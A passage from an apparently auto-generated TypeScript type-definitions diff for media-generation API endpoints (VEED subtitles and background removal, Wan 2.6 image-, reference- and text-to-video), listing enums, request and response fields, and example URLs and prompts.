'es-VE': 'es-VE', + 'et-EE': 'et-EE', + 'eu-ES': 'eu-ES', + 'fa-IR': 'fa-IR', + ff: 'ff', + 'fi-FI': 'fi-FI', + 'fil-PH': 'fil-PH', + fo: 'fo', + 'fr-CA': 'fr-CA', + 'fr-FR': 'fr-FR', + fy: 'fy', + ga: 'ga', + gd: 'gd', + 'gl-ES': 'gl-ES', + 'ha-NG': 'ha-NG', + haw: 'haw', + 'he-IL': 'he-IL', + 'hr-HR': 'hr-HR', + hsb: 'hsb', + ht: 'ht', + 'hu-HU': 'hu-HU', + 'hy-AM': 'hy-AM', + 'id-ID': 'id-ID', + ig: 'ig', + 'is-IS': 'is-IS', + 'it-IT': 'it-IT', + 'ja-JP': 'ja-JP', + 'ja-Latn-JP': 'ja-Latn-JP', + 'jv-ID': 'jv-ID', + 'ka-GE': 'ka-GE', + kab: 'kab', + 'kam-KE': 'kam-KE', + 'kea-CV': 'kea-CV', + 'kk-KZ': 'kk-KZ', + 'ko-KR': 'ko-KR', + ku: 'ku', + 'ky-KG': 'ky-KG', + la: 'la', + 'lb-LU': 'lb-LU', + lg: 'lg', + lij: 'lij', + 'ln-CD': 'ln-CD', + 'lo-LA': 'lo-LA', + 'lt-LT': 'lt-LT', + 'luo-KE': 'luo-KE', + 'lv-LV': 'lv-LV', + mg: 'mg', + 'mi-NZ': 'mi-NZ', + 'mk-MK': 'mk-MK', + 'mn-MN': 'mn-MN', + 'ms-MY': 'ms-MY', + 'mt-MT': 'mt-MT', + 'nb-NO': 'nb-NO', + 'nl-NL': 'nl-NL', + 'nso-ZA': 'nso-ZA', + 'ny-MW': 'ny-MW', + 'oc-FR': 'oc-FR', + 'pl-PL': 'pl-PL', + 'ps-AF': 'ps-AF', + 'pt-BR': 'pt-BR', + 'pt-PT': 'pt-PT', + 'ro-RO': 'ro-RO', + roh: 'roh', + 'ru-RU': 'ru-RU', + 'rw-RW': 'rw-RW', + sah: 'sah', + 'sk-SK': 'sk-SK', + 'sl-SI': 'sl-SI', + sm: 'sm', + 'sn-ZW': 'sn-ZW', + 'so-SO': 'so-SO', + 'sq-AL': 'sq-AL', + 'sr-Latn-RS': 'sr-Latn-RS', + 'sr-RS': 'sr-RS', + srd: 'srd', + ss: 'ss', + 'su-ID': 'su-ID', + 'sv-SE': 'sv-SE', + 'sw-KE': 'sw-KE', + 'sw-TZ': 'sw-TZ', + 'tg-TJ': 'tg-TJ', + 'th-TH': 'th-TH', + tk: 'tk', + tn: 'tn', + tok: 'tok', + ton: 'ton', + 'tr-TR': 'tr-TR', + 'ts-ZA': 'ts-ZA', + tt: 'tt', + 'uk-UA': 'uk-UA', + 'umb-AO': 'umb-AO', + 'ur-IN': 'ur-IN', + 'ur-PK': 'ur-PK', + 'uz-UZ': 'uz-UZ', + 'vi-VN': 'vi-VN', + vro: 'vro', + 'wo-SN': 'wo-SN', + 'xh-ZA': 'xh-ZA', + yi: 'yi', + 'yo-NG': 'yo-NG', + 'yue-Hant-HK': 'yue-Hant-HK', + zh: 'zh', + 'zh-HK': 'zh-HK', + 'zh-TW': 'zh-TW', + 'zu-ZA': 'zu-ZA', +} as const + +export type InputVeedSubtitlesLanguageKey = + (typeof inputVeedSubtitlesLanguage)[keyof typeof inputVeedSubtitlesLanguage] + +export type InputVeedSubtitles = { + /** + * @description Translate the subtitles into this language. Omit to keep the original spoken language. If you also pass srt_content or srt_file_url, set `language` to its source language for the most reliable translation. + */ + translation_language?: InputVeedSubtitlesTranslationLanguageKey | null + /** + * @description Optional preset overrides: vertical position, shadow intensity, and per-tier text styling (font, weight, hex colour) for each word-importance tier. Any omitted field keeps the preset's default. + */ + customization?: PresetCustomization | null + /** + * @description Optional list of terms to help auto-transcription correctly recognise brand names and domain jargon that providers commonly mis-spell (e.g. "VEED" → "vid"). Ignored when srt_content / srt_file_url is set. + * @example [{"word":"VEED","replaces":["vid","feed"]}] + */ + vocabulary?: VocabularyEntry[] | null + /** + * @description Each style defines fonts, colors, layout, and animation. Two tiers with different pricing: + * + * - Dynamic presets (2x multiplier): glass, whisper, glide2, fusion, glide, terminal, handwritten, backdrop, backdrop2. Richer, context-aware rendering that adapts to the input. + * - Basic presets (1x multiplier): simple, plain, beans, corpo, boo, shadeplay, casper, capri, lowkey, vinta, diego, ali, slay, kitty, hustle, karl, sprout, flex, mint, rizz, vegas. Fixed, lightweight styling with predictable output. + * @example glass + * @type string + */ + preset: InputVeedSubtitlesPresetEnumKey + /** + * @description Upload or paste a URL to the video you want to subtitle. + * + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3b.fal.media/files/b/0a967ce5/iARc_J0kLN9OEmiXnxT3l_substyle-example-input.mp4 + * @type string + */ + video_url: string + /** + * @description Paste raw SRT subtitle text. Alternative to srt_file_url. When provided, transcription is skipped. + */ + srt_content?: string | null + /** + * @description Improves transcription accuracy, and should match the source audio (not output subtitles). + */ + language?: InputVeedSubtitlesLanguageKey | null + /** + * @description Upload or paste a URL to your .srt subtitles file. When provided, transcription is skipped. + */ + srt_file_url?: string | null +} + +export type File7Eb9A319 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputVeedSubtitles = { + /** + * @description Rendered video with styled subtitles + * @example {"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a9a3949/c5_GsxsCQaMZ3z-g2ehs2_substyle-example-output-compilation-v3.mp4"} + * @type object + */ + video: File7Eb9A319 +} + +export const inputVeedVideoBackgroundRemovalOutputCodecEnum = { + vp9: 'vp9', + h264: 'h264', +} as const + +export type InputVeedVideoBackgroundRemovalOutputCodecEnumKey = + (typeof inputVeedVideoBackgroundRemovalOutputCodecEnum)[keyof typeof inputVeedVideoBackgroundRemovalOutputCodecEnum] + +export type InputVeedVideoBackgroundRemoval = { + /** + * @description Single VP9 video with alpha channel or two videos (rgb and alpha) in H264 format. H264 is recommended for better RGB quality. + * @default 'vp9' + * @type string | undefined + */ + output_codec?: InputVeedVideoBackgroundRemovalOutputCodecEnumKey + /** + * @description Improves the quality of the extracted object's edges. + * @default true + * @type boolean | undefined + */ + refine_foreground_edges?: boolean + /** + * @description Set to False if the subject is not a person. + * @default true + * @type boolean | undefined + */ + subject_is_person?: boolean + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3b.fal.media/files/b/0a847700/NYnvFeP13ehgSgqMDV_PL_stock.mp4 + * @type string + */ + video_url: string +} + +export type FileC8Acaf01 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputVeedVideoBackgroundRemoval = { + /** + * @example [{"content_type":"video/webm","url":"https://v3b.fal.media/files/b/0a847713/C7g1UaT46yKhOPt6KRrgg_output.webm"}] + * @type array + */ + video: FileC8Acaf01[] +} + +export const inputVeedVideoBackgroundRemovalFastOutputCodecEnum = { + vp9: 'vp9', + h264: 'h264', +} as const + +export type InputVeedVideoBackgroundRemovalFastOutputCodecEnumKey = + (typeof inputVeedVideoBackgroundRemovalFastOutputCodecEnum)[keyof typeof inputVeedVideoBackgroundRemovalFastOutputCodecEnum] + +export type InputVeedVideoBackgroundRemovalFast = { + /** + * @description Single VP9 video with alpha channel or two videos (rgb and alpha) in H264 format. H264 is recommended for better RGB quality. + * @default 'vp9' + * @type string | undefined + */ + output_codec?: InputVeedVideoBackgroundRemovalFastOutputCodecEnumKey + /** + * @description Improves the quality of the extracted object's edges. + * @default true + * @type boolean | undefined + */ + refine_foreground_edges?: boolean + /** + * @description Set to False if the subject is not a person. + * @default true + * @type boolean | undefined + */ + subject_is_person?: boolean + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3b.fal.media/files/b/0a8479a0/3ngPszofrNpEvPaL9P5xR_generated.mp4 + * @type string + */ + video_url: string +} + +export type FileE884F696 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputVeedVideoBackgroundRemovalFast = { + /** + * @example [{"content_type":"video/webm","url":"https://v3b.fal.media/files/b/0a8479a7/mdr5_b7CqeDmZROCLkp7i_output.webm"}] + * @type array + */ + video: FileE884F696[] +} + +export const inputVeedVideoBackgroundRemovalGreenScreenOutputCodecEnum = { + vp9: 'vp9', + h264: 'h264', +} as const + +export type InputVeedVideoBackgroundRemovalGreenScreenOutputCodecEnumKey = + (typeof inputVeedVideoBackgroundRemovalGreenScreenOutputCodecEnum)[keyof typeof inputVeedVideoBackgroundRemovalGreenScreenOutputCodecEnum] + +export type InputVeedVideoBackgroundRemovalGreenScreen = { + /** + * @description Increase the value if green spots remain in the video, decrease if color changes are noticed on the extracted subject. + * @default 0.8 + */ + spill_suppression_strength?: number | null + /** + * @description Single VP9 video with alpha channel or two videos (rgb and alpha) in H264 format. H264 is recommended for better RGB quality. + * @default 'vp9' + * @type string | undefined + */ + output_codec?: InputVeedVideoBackgroundRemovalGreenScreenOutputCodecEnumKey + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3b.fal.media/files/b/0a849c38/zoA0frujpZUkj07NtXytv_jessica.mp4 + * @type string + */ + video_url: string +} + +export type File52Fd1Ad6 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputVeedVideoBackgroundRemovalGreenScreen = { + /** + * @example [{"content_type":"video/webm","url":"https://v3b.fal.media/files/b/0a849c48/MFOmvAhK4vvUsFsMVmw0P_output.webm"}] + * @type array + */ + video: File52Fd1Ad6[] +} + +export const inputWanV26ImageToVideoDurationEnum = { + '5': '5', + '10': '10', + '15': '15', +} as const + +export type InputWanV26ImageToVideoDurationEnumKey = + (typeof inputWanV26ImageToVideoDurationEnum)[keyof typeof inputWanV26ImageToVideoDurationEnum] + +export const inputWanV26ImageToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputWanV26ImageToVideoResolutionEnumKey = + (typeof inputWanV26ImageToVideoResolutionEnum)[keyof typeof inputWanV26ImageToVideoResolutionEnum] + +/** + * @description Input for Wan 2.6 image-to-video generation + * @type object + */ +export type InputWanV26ImageToVideo = { + /** + * @description URL of the image to use as the first frame. Must be publicly accessible or base64 data URI. Image dimensions must be between 240 and 7680. + * @example https://v3b.fal.media/files/b/0a8673dd/m9EV5W9aSqg8J7rb-18TK.png + * @type string + */ + image_url: string + /** + * @description + * URL of the audio to use as the background music. Must be publicly accessible. + * Limit handling: If the audio duration exceeds the duration value (5, 10, or 15 seconds), + * the audio is truncated to the first N seconds, and the rest is discarded. If + * the audio is shorter than the video, the remaining part of the video will be silent. + * For example, if the audio is 3 seconds long and the video duration is 5 seconds, the + * first 3 seconds of the output video will have sound, and the last 2 seconds will be silent. + * - Format: WAV, MP3. + * - Duration: 3 to 30 s. + * - File size: Up to 15 MB. + * + */ + audio_url?: string | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description The text prompt describing the desired video motion. Max 1500 characters. + * @minLength 1 + * @example A comedic cinematic demo where typed prompts physically transform reality. Photoreal, strong match cuts, coherent main character, no subtitles. + * + * Shot 1 [0-4s] Continue from first frame. The creator presses "PRINT". The machine clunks like a spaceship. Creator whispers: "Okay… I'm pressing enter." + * Shot 2 [4-8s] Smash cut: the printed paper flies into the air and unfolds into a full desert canyon scene around the desk, like reality is being unrolled. Creator says: "Wait—my prompt has physics?" + * Shot 3 [8-12s] Hard cut: the paper tears and reveals a tropical jungle behind it, perfectly lit, cinematic sun. Creator laughs: "This is exactly why we do AI." + * Shot 4 [12-15s] Hard cut back to studio. The printer prints a final line (not shown clearly). Creator looks to camera: "Multi-scene. Single prompt." + * @type string + */ + prompt: string + /** + * @description Duration of the generated video in seconds. Choose between 5, 10 or 15 seconds. + * @default '5' + * @example 5 + * @example 10 + * @example 15 + * @type string | undefined + */ + duration?: InputWanV26ImageToVideoDurationEnumKey + /** + * @description When true, enables intelligent multi-shot segmentation. Only active when enable_prompt_expansion is True. Set to false for single-shot generation. + * @default false + * @type boolean | undefined + */ + multi_shots?: boolean + /** + * @description Whether to enable prompt rewriting using LLM. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Negative prompt to describe content to avoid. Max 500 characters. + * @default + * @example low resolution, error, worst quality, low quality, defects + */ + negative_prompt?: string | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Video resolution. Valid values: 720p, 1080p + * @default '1080p' + * @type string | undefined + */ + resolution?: InputWanV26ImageToVideoResolutionEnumKey +} + +export type VideoFile7329Ebe8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output for image-to-video generation + * @type object + */ +export type OutputWanV26ImageToVideo = { + /** + * @description The actual prompt used if prompt rewriting was enabled + * @example A comedic cinematic scene where the creator interacts with AI-generated reality transformations. + */ + actual_prompt?: string | null + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a8675cf/bCu9FiFXSjsSnIwOmjUOY_BVs2IFR3.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFile7329Ebe8 + /** + * @description The seed used for generation + * @example 175932751 + * @type integer + */ + seed: number +} + +export const inputWanV26ImageToVideoFlashDurationEnum = { + '5': '5', + '10': '10', + '15': '15', +} as const + +export type InputWanV26ImageToVideoFlashDurationEnumKey = + (typeof inputWanV26ImageToVideoFlashDurationEnum)[keyof typeof inputWanV26ImageToVideoFlashDurationEnum] + +export const inputWanV26ImageToVideoFlashResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputWanV26ImageToVideoFlashResolutionEnumKey = + (typeof inputWanV26ImageToVideoFlashResolutionEnum)[keyof typeof inputWanV26ImageToVideoFlashResolutionEnum] + +/** + * @description Input for Wan 2.6 I2V Flash image-to-video generation. + * @type object + */ +export type InputWanV26ImageToVideoFlash = { + /** + * @description URL of the image to use as the first frame. Must be publicly accessible or base64 data URI. Image dimensions must be between 240 and 7680. + * @example https://v3b.fal.media/files/b/0a8673dd/m9EV5W9aSqg8J7rb-18TK.png + * @type string + */ + image_url: string + /** + * @description The text prompt describing the desired video motion. Max 1500 characters. + * @minLength 1 + * @example A comedic cinematic demo where typed prompts physically transform reality. Photoreal, strong match cuts, coherent main character, no subtitles. + * + * Shot 1 [0-4s] Continue from first frame. The creator presses "PRINT". The machine clunks like a spaceship. Creator whispers: "Okay… I'm pressing enter." + * Shot 2 [4-8s] Smash cut: the printed paper flies into the air and unfolds into a full desert canyon scene around the desk, like reality is being unrolled. Creator says: "Wait—my prompt has physics?" + * Shot 3 [8-12s] Hard cut: the paper tears and reveals a tropical jungle behind it, perfectly lit, cinematic sun. Creator laughs: "This is exactly why we do AI." + * Shot 4 [12-15s] Hard cut back to studio. The printer prints a final line (not shown clearly). Creator looks to camera: "Multi-scene. Single prompt." + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description + * URL of the audio to use as the background music. Must be publicly accessible. + * Limit handling: If the audio duration exceeds the duration value (5, 10, or 15 seconds), + * the audio is truncated to the first N seconds, and the rest is discarded. If + * the audio is shorter than the video, the remaining part of the video will be silent. + * For example, if the audio is 3 seconds long and the video duration is 5 seconds, the + * first 3 seconds of the output video will have sound, and the last 2 seconds will be silent. + * - Format: WAV, MP3. + * - Duration: 3 to 30 s. + * - File size: Up to 15 MB. + * + */ + audio_url?: string | null + /** + * @description Duration of the generated video in seconds. Choose between 5, 10 or 15 seconds. + * @default '5' + * @example 5 + * @example 10 + * @example 15 + * @type string | undefined + */ + duration?: InputWanV26ImageToVideoFlashDurationEnumKey + /** + * @description When true, enables intelligent multi-shot segmentation. Only active when enable_prompt_expansion is True. Set to false for single-shot generation. + * @default false + * @type boolean | undefined + */ + multi_shots?: boolean + /** + * @description Whether to enable prompt rewriting using LLM. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Negative prompt to describe content to avoid. Max 500 characters. + * @default + * @example low resolution, error, worst quality, low quality, defects + */ + negative_prompt?: string | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Video resolution. Valid values: 720p, 1080p + * @default '1080p' + * @type string | undefined + */ + resolution?: InputWanV26ImageToVideoFlashResolutionEnumKey + /** + * @description Whether the model generates native audio for the video. Set to false for silent video generation, which is cheaper (half as much as a flash generation with audio)Independent of audio_url, which only provides a track to sync the video against. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean +} + +export type VideoFileA8B7Da05 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output for image-to-video generation + * @type object + */ +export type OutputWanV26ImageToVideoFlash = { + /** + * @description The actual prompt used if prompt rewriting was enabled + * @example A comedic cinematic scene where the creator interacts with AI-generated reality transformations. + */ + actual_prompt?: string | null + /** + * @description The generated video file + * @example {"url":"https://v3b.fal.media/files/b/0a8675cf/bCu9FiFXSjsSnIwOmjUOY_BVs2IFR3.mp4","content_type":"video/mp4"} + * @type object + */ + video: VideoFileA8B7Da05 + /** + * @description The seed used for generation + * @example 175932751 + * @type integer + */ + seed: number +} + +export const inputWanV26ReferenceToVideoDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputWanV26ReferenceToVideoDurationEnumKey = + (typeof inputWanV26ReferenceToVideoDurationEnum)[keyof typeof inputWanV26ReferenceToVideoDurationEnum] + +export const inputWanV26ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputWanV26ReferenceToVideoAspectRatioEnumKey = + (typeof inputWanV26ReferenceToVideoAspectRatioEnum)[keyof typeof inputWanV26ReferenceToVideoAspectRatioEnum] + +export const inputWanV26ReferenceToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputWanV26ReferenceToVideoResolutionEnumKey = + (typeof inputWanV26ReferenceToVideoResolutionEnum)[keyof typeof inputWanV26ReferenceToVideoResolutionEnum] + +/** + * @description Input for Wan 2.6 reference-to-video generation (R2V) + * @type object + */ +export type InputWanV26ReferenceToVideo = { + /** + * @description Negative prompt to describe content to avoid. Max 500 characters. + * @default + * @example low resolution, error, worst quality, low quality, defects + */ + negative_prompt?: string | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Duration of the generated video in seconds. R2V supports only 5 or 10 seconds (no 15s). + * @default '5' + * @example 5 + * @example 10 + * @type string | undefined + */ + duration?: InputWanV26ReferenceToVideoDurationEnumKey + /** + * @description Reference videos for subject consistency (1-3 videos). Videos' FPS must be at least 16 FPS.Reference in prompt as @Video1, @Video2, @Video3. Works for people, animals, or objects. + * @example ["https://v3b.fal.media/files/b/0a86742f/9rVJtQ2ukp9cid8lheutF_output.mp4","https://v3b.fal.media/files/b/0a867424/30OqWXFgHWqOwcP2OUwRx_output.mp4"] + * @type array + */ + video_urls: string[] + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputWanV26ReferenceToVideoAspectRatioEnumKey + /** + * @description Whether to enable prompt rewriting using LLM. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description When true (default), enables intelligent multi-shot segmentation for coherent narrative videos with multiple shots. When false, generates single continuous shot. Only active when enable_prompt_expansion is True. + * @default true + * @type boolean | undefined + */ + multi_shots?: boolean + /** + * @description Video resolution tier. R2V only supports 720p and 1080p (no 480p). + * @default '1080p' + * @type string | undefined + */ + resolution?: InputWanV26ReferenceToVideoResolutionEnumKey + /** + * @description Use @Video1, @Video2, @Video3 to reference subjects from your videos. Works for people, animals, or objects. For multi-shot prompts: '[0-3s] Shot 1. [3-6s] Shot 2.' Max 1500 characters. + * @minLength 1 + * @example Dance battle between @Video1 and @Video2. + * @type string + */ + prompt: string +} + +export type VideoFileC99467D0 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output for reference-to-video generation + * @type object + */ +export type OutputWanV26ReferenceToVideo = { + /** + * @description The generated video file + * @example {"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a86762b/iDknfPkLFSFwWkyMgJi0U_QIzjwBDQ.mp4"} + * @type object + */ + video: VideoFileC99467D0 + /** + * @description The actual prompt used if prompt rewriting was enabled + * @example Dance battle between Character1 and Character2, cinematic lighting, dynamic camera movement. + */ + actual_prompt?: string | null + /** + * @description The seed used for generation + * @example 175932751 + * @type integer + */ + seed: number +} + +export const inputWanV26ReferenceToVideoFlashDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputWanV26ReferenceToVideoFlashDurationEnumKey = + (typeof inputWanV26ReferenceToVideoFlashDurationEnum)[keyof typeof inputWanV26ReferenceToVideoFlashDurationEnum] + +export const inputWanV26ReferenceToVideoFlashAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputWanV26ReferenceToVideoFlashAspectRatioEnumKey = + (typeof inputWanV26ReferenceToVideoFlashAspectRatioEnum)[keyof typeof inputWanV26ReferenceToVideoFlashAspectRatioEnum] + +export const inputWanV26ReferenceToVideoFlashResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputWanV26ReferenceToVideoFlashResolutionEnumKey = + (typeof inputWanV26ReferenceToVideoFlashResolutionEnum)[keyof typeof inputWanV26ReferenceToVideoFlashResolutionEnum] + +/** + * @description Input for Wan 2.6 R2V Flash reference-to-video generation + * + * The flash model is 10-20 seconds faster than the standard R2V model + * and supports generating videos with or without audio. It also supports + * both images and videos as reference inputs. + * @type object + */ +export type InputWanV26ReferenceToVideoFlash = { + /** + * @description Negative prompt to describe content to avoid. Max 500 characters. + * @default + * @example low resolution, error, worst quality, low quality, defects + */ + negative_prompt?: string | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Duration of the generated video in seconds. R2V Flash supports only 5 or 10 seconds. + * @default '5' + * @example 5 + * @example 10 + * @type string | undefined + */ + duration?: InputWanV26ReferenceToVideoFlashDurationEnumKey + /** + * @description Reference images for subject consistency (0-5 images). Combined with video_urls, total references cannot exceed 5. Formats: JPEG, JPG, PNG (no alpha), BMP, WEBP. Resolution: 240-5000px. Max 10MB each. Reference order: image_urls continue numbering after video_urls. + * @example ["https://v3b.fal.media/files/b/0a8d6d49/4XDgJcWQHLgkmUOL2JlPt_iXGPlm9y.png"] + */ + image_urls?: string[] | null + /** + * @description Whether to generate a video with audio. Set to false for silent video generation. Silent videos are faster and cost 25% of the audio version price. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference videos for subject consistency (0-3 videos). Videos' FPS must be at least 16 FPS. Combined with image_urls, total references cannot exceed 5. Reference order: video_urls are numbered first (Character1, Character2...), then image_urls continue the sequence. + * @example ["https://v3b.fal.media/files/b/0a8d6d47/FtSBJGfZuivKfBIrRuWxa_video.mp4"] + */ + video_urls?: string[] | null + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputWanV26ReferenceToVideoFlashAspectRatioEnumKey + /** + * @description Whether to enable prompt rewriting using LLM. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description When true (default), enables intelligent multi-shot segmentation for coherent narrative videos with multiple shots. When false, generates single continuous shot. Only active when enable_prompt_expansion is True. + * @default true + * @type boolean | undefined + */ + multi_shots?: boolean + /** + * @description Video resolution tier. R2V Flash only supports 720p and 1080p. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputWanV26ReferenceToVideoFlashResolutionEnumKey + /** + * @description Use Character1, Character2, etc. to reference subjects from your reference files. Works for people, animals, or objects. For multi-shot prompts: '[0-3s] Shot 1. [3-6s] Shot 2.' Max 1500 characters. Reference order: video_urls first, then image_urls. + * @minLength 1 + * @example Dance battle between Character1 and Character2. + * @type string + */ + prompt: string +} + +export type VideoFile648B443D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output for reference-to-video generation + * @type object + */ +export type OutputWanV26ReferenceToVideoFlash = { + /** + * @description The generated video file + * @example {"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a86762b/iDknfPkLFSFwWkyMgJi0U_QIzjwBDQ.mp4"} + * @type object + */ + video: VideoFile648B443D + /** + * @description The actual prompt used if prompt rewriting was enabled + * @example Dance battle between Character1 and Character2, cinematic lighting, dynamic camera movement. + */ + actual_prompt?: string | null + /** + * @description The seed used for generation + * @example 175932751 + * @type integer + */ + seed: number +} + +export const inputWanV26TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputWanV26TextToVideoAspectRatioEnumKey = + (typeof inputWanV26TextToVideoAspectRatioEnum)[keyof typeof inputWanV26TextToVideoAspectRatioEnum] + +export const inputWanV26TextToVideoDurationEnum = { + '5': '5', + '10': '10', + '15': '15', +} as const + +export type InputWanV26TextToVideoDurationEnumKey = + (typeof inputWanV26TextToVideoDurationEnum)[keyof typeof inputWanV26TextToVideoDurationEnum] + +export const inputWanV26TextToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputWanV26TextToVideoResolutionEnumKey = + (typeof inputWanV26TextToVideoResolutionEnum)[keyof typeof inputWanV26TextToVideoResolutionEnum] + +/** + * @description Input for Wan 2.6 text-to-video generation + * @type object + */ +export type InputWanV26TextToVideo = { + /** + * @description The aspect ratio of the generated video. Wan 2.6 supports additional ratios. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputWanV26TextToVideoAspectRatioEnumKey + /** + * @description Duration of the generated video in seconds. Choose between 5, 10, or 15 seconds. + * @default '5' + * @example 5 + * @example 10 + * @example 15 + * @type string | undefined + */ + duration?: InputWanV26TextToVideoDurationEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Video resolution tier. Wan 2.6 T2V only supports 720p and 1080p (no 480p). + * @default '1080p' + * @type 